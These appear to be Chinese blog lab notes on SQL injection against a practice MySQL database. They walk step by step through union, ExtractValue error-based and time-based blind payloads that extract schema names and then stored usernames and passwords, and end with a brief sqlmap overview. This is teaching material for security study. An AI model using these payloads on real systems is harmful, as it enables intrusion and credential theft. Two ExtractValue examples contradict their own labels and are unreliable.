SQL注入实验笔记

一、环境搭建

1.1 安装 mycli

使用mycli工具连接MariaDB数据库。mycli是一个SQL命令行客户端,支持自动补全和语法高亮。

1.2 创建 user 数据库

连接数据库后,查看现有数据库列表,确认user数据库已创建。

1.3 往表中插入数据

切换到user数据库,查看表结构并查询已有数据。

二、 SQL 注入测试

2.1 构造闭合 SQL 代码

通过构造特殊的SQL注入语句,使原始查询逻辑发生变化,从而实现数据获取。

2.2 Union 注入

Union 注入原理说明

UNION是SQL标准中的一个操作符,用于将两个或多个SELECT语句的查询结果合并成一个结果集。在SQL注入中,攻击者利用UNION操作符,将恶意构造的SELECT查询附加到原始查询之后。只要注入的SELECT语句与原始查询的列数相同且数据类型兼容,数据库就会将两部分结果合并返回。这使得攻击者能够在正常的业务页面中,直接提取出数据库中其他表的数据。

Union注入的核心前提条件包括:(1)原始查询必须使用SELECT语句;(2)注入点必须位于SELECT语句中,且能够控制查询的列;(3)前后两个SELECT语句的列数必须一致;(4)数据类型需要兼容。满足以上条件后,攻击者即可通过UNION将恶意查询的结果与原始查询结果合并显示在页面上。

完整的 5 步注入流程

步骤一:测试列数( ORDER BY )
  1. **注入原理:**在进行Union注入前,首先需要确定原始SQL查询语句中包含的列数。UNION操作符要求前后两个SELECT语句的列数必须完全一致,否则数据库会抛出"UNION SELECT列数不匹配"的语法错误。因此,通过逐步递增ORDER BY后面的数字,可以找到原始查询的列数。当ORDER BY后面的数字超过实际列数时,数据库会返回错误。

SQL注入语句:

select name,password from user.userinfo where name='xxxx' and password = '' order by 1 #';

  1. 返回结果分析:当order by后面的数字小于或等于实际列数时,页面正常返回;当数字超过实际列数时,页面报错或无结果返回。通过二分法或逐步递增,可以确定列数。
  2. 注意事项:某些数据库对ORDER BY数字的解释可能不同,建议同时使用UNION SELECT配合递增数字进行精确验证。另外,注释符#或--需要将后面的原始SQL语句注释掉,防止语法错误。
步骤二:获取数据库名
  1. 注入原理:在确定列数后,利用UNION将恶意SELECT查询与原查询合并。通过使用information_schema.schemata系统表,可以查询数据库中所有的数据库名。group_concat函数用于将多行结果拼接成一个字符串。

SQL注入语句:

select name,password from user.userinfo where name='xxxx' and password = '' union select 1,group_concat(schema_name),3 from information_schema.schemata #';

返回结果:geek, information_schema, performance_schema, test, mysql

  1. 结果分析:返回结果中包含了目标服务器上所有的数据库名称。其中geek是我们需要攻击的目标数据库,information_schema是MySQL的系统信息库(包含所有数据库的元数据),performance_schema是性能监控库,test是默认测试库,mysql是MySQL权限系统库。
  2. 注意事项:如果返回结果被截断,可能是group_concat的长度限制(默认1024字节),可以通过设置group_concat_max_len变量来解决。
步骤三:获取表名
  1. 注入原理:在获取到目标数据库名(geek)后,通过查询information_schema.tables系统表,可以获取该数据库下的所有表名。通过WHERE条件过滤table_schema为目标数据库名,可以精确获取目标库的表结构信息。

SQL注入语句:

select name,password from user.userinfo where name='xxxx' and password = '"' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "geek" #';

返回结果:geekuser, l0ve1ysq1

  1. 结果分析:目标数据库geek下包含两个表:geekuser和l0ve1ysq1。其中l0ve1ysq1表名看起来像是经过混淆的,可能包含敏感数据(如用户凭证)。需要进一步查询该表的列结构。
  2. 注意事项:如果表名较多,group_concat可能会截断结果。可以使用LIMIT子句分批获取,或者查询table_type过滤掉视图等。
步骤四:获取列名
  1. 注入原理:在确定目标表名(l0ve1ysq1)后,通过查询information_schema.columns系统表,可以获取该表的所有列名。这有助于了解表的结构,从而构造正确的数据提取语句。

SQL注入语句:

select name,password from user.userinfo where name='xxxx' and password = '"' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = "geek" and table_name = "l0ve1ysq1" #';

返回结果:id, username, password

  1. 结果分析:l0ve1ysq1表包含三列:id(主键标识)、username(用户名)、password(密码)。这确认了该表存储了用户凭证信息,是攻击者需要提取的目标数据。
  2. 注意事项:column_name需要与table_name配合使用WHERE条件进行过滤,否则可能返回多个表的列名导致结果混乱。
步骤五:获取数据
  1. 注入原理:在获取到目标表的所有列名后,直接查询该表的数据即可获取敏感信息。通过UNION注入将SELECT查询的结果合并到原始查询中,最终在页面上回显用户名和密码数据。

SQL注入语句:

select name,password from user.userinfo where name='xxxx' and password = '' union select 1,group_concat(username),group_concat(password) from geek.l0ve1ysq1 #';

  1. 结果分析:通过group_concat分别拼接所有用户名和密码,可以在页面回显中直接看到所有用户的凭证信息。这是Union注入的最终目标------直接提取数据库中的敏感数据。
  2. 注意事项:group_concat默认有长度限制,如果数据量较大可能需要分批次提取。另外,实际环境中可能需要对特殊字符进行URL编码或转义处理。

Union 注入流程总结

Union注入是一种高效且直观的SQL注入方式,其核心在于"列数匹配"与"回显利用"。完整的注入流程遵循"判断注入点→确定列数→获取数据库名→获取表名→获取列名→提取数据"的逻辑链条。该方法适用于有明确数据回显的场景,攻击者可以在较少的请求次数内获取大量数据库信息。但在无回显、WAF拦截或列数过多时可能失效,此时需转向报错注入或盲注技术。

2.3 报错注入

报错注入的原理

报错注入是一种利用数据库在执行特定函数时产生的错误信息来泄露数据的注入技术。当攻击者构造的Payload触发数据库的XML解析、几何计算或其他内置函数的异常时,数据库会将错误消息(包括函数参数中的子查询结果)返回给前端应用,从而实现数据泄露。

在MySQL中,ExtractValue函数本用于从XML字符串中提取指定XPath路径的数据。但当第二个参数(XPath表达式)格式不合法时,MySQL会抛出XPATH语法错误,并且错误消息中会包含非法XPath参数的原始内容。攻击者利用这一特性,将子查询结果作为非法XPath参数传入,从而在错误信息中回显出数据库中的敏感数据。

ExtractValue 函数语法说明

ExtractValue(xml_document, xpath_string)函数接受两个参数:

xml_document :

待解析的XML文档字符串,通常构造为一个简单的XML结构。

xpath_string :

XPath表达式字符串,用于定位XML中的节点。当该表达式格式不合法时(如以~开头或使用无效的XPath语法),MySQL会抛出错误并将该字符串内容包含在错误消息中返回。

常见的报错函数还包括:UpdateXML()、XMLType()、ST_LatFromGeoHash()、ST_LongFromGeoHash()等,它们都利用了类似的将子查询结果嵌入错误消息的机制。

示例查询逐一解析

以下5个ExtractValue示例展示了该函数在不同XPath表达式下的行为差异,以及如何在实际注入中利用这些行为:

示例 1 :基本 XML 提取(合法 XPath )

SQL语句:

SELECT ExtractValue('<a>ccc<b>ddd</b></a>', '/a') AS val1;

含义:使用合法的XPath表达式/a提取XML文档中根节点a下的直接子节点内容。由于a节点下没有直接文本子节点(只有b子元素),返回空值或节点内容。

预期结果:返回空或ccc(取决于MySQL版本对XML文本节点的解析方式)。

示例 2 :提取嵌套节点

SQL语句:

SELECT ExtractValue('<a>ccc<b>ddd</b></a>', '/a/b') AS val2;

含义:使用XPath表达式/a/b定位到a节点下的b子节点,返回其文本内容ddd。这是一个合法的XPath查询,正常返回结果。

预期结果:返回ddd。

示例 3 :使用通配符提取

SQL语句:

SELECT ExtractValue('<a>ccc<b>ddd</b></a>', '//b') AS val3;

含义:使用XPath表达式//b在整个XML文档中查找所有名为b的节点(无论层级深度)。这是一个合法的递归搜索表达式。

预期结果:返回ddd。

示例 4 :非法 XPath 触发报错(关键!)

SQL语句:

SELECT ExtractValue('<a>ccc<b>ddd</b></a>', '/b') AS val4;

含义:使用XPath表达式/b尝试从根节点直接查找b子节点,但XML文档的根节点是a而非b,因此找不到匹配节点。在某些MySQL版本中这会返回空值而非报错。

预期结果:返回空值(不报错)。注意:这取决于MySQL版本,某些版本可能不会对此类情况报错。

示例 5 :利用非法 XPath 触发数据泄露(核心攻击)

SQL语句:

SELECT ExtractValue('<a>ccc<b>ddd</b></a>', '//b') AS val5;

含义:当将子查询结果作为XPath参数传入时,如SELECT ExtractValue(1, CONCAT(0x7e, (SELECT database()), 0x7e)),子查询database()的返回值会被当作XPath表达式解析。由于返回的数据库名(如geek)不是合法的XPath表达式,MySQL抛出XPATH语法错误,并将该字符串内容包含在错误消息中返回。

预期结果:报错信息形如 XPATH syntax error: '~geek~',从而泄露数据库名。

这是报错注入的核心攻击手法:通过CONCAT函数将子查询结果与特殊字符拼接,构造出非法的XPath表达式,利用数据库错误消息回显数据。

报错注入的实际利用场景

报错注入适用于页面不直接回显查询结果,但会返回详细数据库错误信息的场景。通过逐步替换ExtractValue中的子查询,可以依次获取数据库名、版本信息、表名、列名及具体数据。

获取数据库名:

SELECT ExtractValue(1, CONCAT(0x7e, (SELECT database()), 0x7e));

获取所有表名:

SELECT ExtractValue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e));

获取指定表的列名:

SELECT ExtractValue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='l0ve1ysq1'), 0x7e));

获取用户数据:

SELECT ExtractValue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username,0x3a,password) FROM geek.l0ve1ysq1 LIMIT 0,5), 0x7e));

报错注入的优缺点

优点:

(1)不依赖UNION的列数匹配和回显位置,适用范围更广;(2)单次请求即可获取聚合数据(如GROUP_CONCAT);(3)适用于多种数据库系统(MySQL、MSSQL、Oracle均有类似的报错函数)。

缺点:

(1)依赖错误信息回显,若生产环境关闭了详细报错显示则失效;(2)ExtractValue等函数有长度限制(通常32字节左右),超长数据需分次提取;(3)容易被WAF(Web应用防火墙)识别和拦截;(4)部分MySQL版本对该函数的行为有所调整,兼容性存在差异。

2.4 时间盲注

时间盲注的原理

时间盲注是一种在页面无数据回显、无错误信息回显的情况下,通过数据库的时间延迟函数来推断数据内容的注入技术。与布尔盲注依赖页面内容的细微差异不同,时间盲注通过观察服务器响应时间的长短来判断条件真假:若条件为真,则执行SLEEP()或BENCHMARK()函数导致明显的时间延迟;若条件为假,则语句立即执行完毕返回。

时间盲注适用于所有类型的SQL注入场景,尤其是当攻击者无法从页面响应中获取任何有效信息时(即无回显场景)。它是盲注技术中的终极手段,虽然效率较低,但几乎不受页面回显方式的影响。

与布尔盲注的区别:布尔盲注通过构造真假条件语句,观察页面返回内容的差异(如正常页面vs空页面)来推断数据;而时间盲注则通过观察响应时间的差异(延迟返回vs立即返回)来判断条件真假。时间盲注在页面内容完全不变但存在时间延迟可检测的场景下更为有效。

核心函数说明

IF(condition, true_value, false_value) :

条件判断函数。当condition为TRUE时返回true_value,否则返回false_value。在时间盲注中用于根据条件真假执行不同的操作(如是否延迟)。

ASCII(str) :

返回字符串str最左边字符的ASCII码值。用于将字符转换为数值进行比较判断。

SUBSTR(str, pos, len) :

从字符串str的第pos位置开始截取长度为len的子串。用于逐字符提取目标字符串。

SLEEP(seconds) :

MySQL延时函数,使当前语句执行暂停指定的秒数。是时间盲注中最常用的延迟函数。

BENCHMARK(count, expr) :

重复执行表达式expr指定count次,用于消耗CPU时间产生延迟。当SLEEP函数被禁用时可以作为替代方案。

LENGTH(str) :

返回字符串str的长度(以字符为单位)。用于先获取目标字符串的长度,再逐字符提取。

完整的手工注入流程

第 1 步:判断注入点是否存在

注入原理:首先通过构造带有时间延迟条件的注入语句,验证注入点是否存在以及数据库是否支持时间函数。如果条件为真时页面明显延迟返回,说明注入点存在且时间函数可用。

SQL注入语句:

select name,password from user.userinfo where name='xxxx' and password = '' and if(1=1,sleep(3),1) #';

结果分析:如果页面延迟约3秒后返回,说明注入点存在且SLEEP函数可用。如果立即返回,则可能注入点不存在或SLEEP函数被禁用。

第 2 步:获取数据库名长度

注入原理:在确认注入点存在后,首先需要获取目标数据库名的字符长度。通过二分法或遍历方式,逐步猜测长度值,当条件为真时页面延迟返回,从而确定长度。

SQL注入语句:

select name,password from user.userinfo where name='xxxx' and password = '' and if(length(database())=4,sleep(3),1) #';

结果分析:通过尝试不同的长度值(如length(database())=1、=2、=3、=4...),当页面出现延迟时,即可确定数据库名的字符长度。

第 3 步:逐字符获取数据库名

注入原理:在获取数据库名长度后,使用SUBSTR函数逐位截取数据库名的每个字符,再通过ASCII函数将其转换为ASCII码值,与猜测的数值进行比较。当猜测正确时条件为真,触发SLEEP延迟。

SQL注入语句(猜测数据库名第1个字符):

select name,password from user.userinfo where name='xxxx' and password = '' and if(ascii(substr(database(),1,1))=103,sleep(3),1) #';

结果分析:substr(database(),1,1)提取数据库名的第1个字符,ascii()将其转为ASCII码。若该字符的ASCII码等于103(即字符g),则条件为真触发延迟。通过逐位猜测(第1位、第2位、第3位...),最终可以拼出完整的数据库名(如geek)。

第 4 步:获取表名

注入原理:利用information_schema.tables系统表查询目标数据库下的所有表名,同样通过SUBSTR+ASCII逐字符提取。需要先获取表名总数,再逐个表名逐字符提取。

SQL注入语句(获取第一个表名的第1个字符):

select name,password from user.userinfo where name='xxxx' and password = '' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103,sleep(3),1) #';

结果分析:子查询(select table_name from information_schema.tables where table_schema=database() limit 0,1)获取第一个表名,外层通过SUBSTR+ASCII逐字符猜测。配合LIMIT偏移量可以遍历所有表名。

第 5 步:获取列名

注入原理:在获取目标表名后,通过查询information_schema.columns系统表获取该表的所有列名。方法与获取表名相同,使用SUBSTR+ASCII逐字符提取。

SQL注入语句(获取指定表的第1个列名):

select name,password from user.userinfo where name='xxxx' and password = '' and if(ascii(substr((select column_name from information_schema.columns where table_name='l0ve1ysq1' limit 0,1),1,1))=105,sleep(3),1) #';

结果分析:通过修改table_name参数和LIMIT偏移量,可以获取目标表的所有列名(如id、username、password)。

第 6 步:提取目标数据

注入原理:在获取到表结构和列名后,直接查询目标表中的数据。通过SUBSTR+ASCII逐字符提取用户名、密码等敏感信息。

SQL注入语句(提取第1个用户的用户名):

select name,password from user.userinfo where name='xxxx' and password = '' and if(ascii(substr((select username from geek.l0ve1ysq1 limit 0,1),1,1))=97,sleep(3),1) #';

结果分析:直接查询geek.l0ve1ysq1表中的username列,逐字符提取用户凭证信息。通过修改LIMIT偏移量和列名,可以提取所有用户的数据。

时间盲注的优缺点

优点:

(1)适用范围最广,几乎不受页面回显方式、错误信息显示、WAF(部分)的限制;(2)逻辑简单直观,仅依赖时间判断,易于理解和实现;(3)适用于几乎所有类型的数据库和注入场景。

缺点:

(1)效率极低,每个字符需要多次请求进行猜测(通常每个字符需要7-8次请求),提取大量数据耗时极长;(2)对网络延迟和服务器负载敏感,可能产生误判;(3)SLEEP函数容易被WAF规则拦截;(4)BENCHMARK函数可能导致服务器CPU过载,产生拒绝服务效果。

自动化注入工具简介

鉴于时间盲注的手工操作极其繁琐且效率低下,在实际安全测试中通常使用自动化工具来执行注入过程。最经典的工具是sqlmap,它内置了多种时间盲注Payload模板,支持自动识别数据库类型、列数、字符集等信息,并通过多线程和二分搜索算法大幅加速数据提取过程。

sqlmap的常用时间盲注参数包括:--technique=T(指定时间盲注技术)、--time-sec=5(自定义延迟阈值,默认5秒)、--delay=2(每次请求间隔2秒避免被检测)。在合法授权的安全测试中,sqlmap是应对复杂盲注场景的首选工具,但需注意控制请求频率,避免对目标系统造成拒绝服务影响。

相关推荐
江屿风1 小时前
【Linux系统】【从【收尾】缓冲区到【新开】磁盘块:一节课打通文件系统底层原理】流食般投喂
linux·运维·服务器·人工智能·笔记
曹牧1 小时前
Spring MVC : Controller 层URL划分
java·运维·服务器·前端
路漫漫其修远兮sjw1 小时前
Linux 运维知识点笔记(中级)
linux·运维·笔记
石一峰6991 小时前
Linux INPUT 与 I2C 子系统关联
linux·运维·计算机外设
找茬小王子1 小时前
Android原生Monkey工具的使用
android·monkey
做运维的阿瑞1 小时前
一张用户表串懂 MySQL 的库、表、列、行、主键
数据库·sql·mysql·oracle
细嗅蔷薇@1 小时前
MySQL中数据类型介绍
数据库·mysql
智商网输送线配件供应1 小时前
广东自动化流水线配件滚筒输送线选型实战:小批量混批采购模式如何重构供应链效率
大数据·重构·自动化
jimmyleeee2 小时前
大模型安全之三十五:间接Prompt 注入测试全景指南
安全·prompt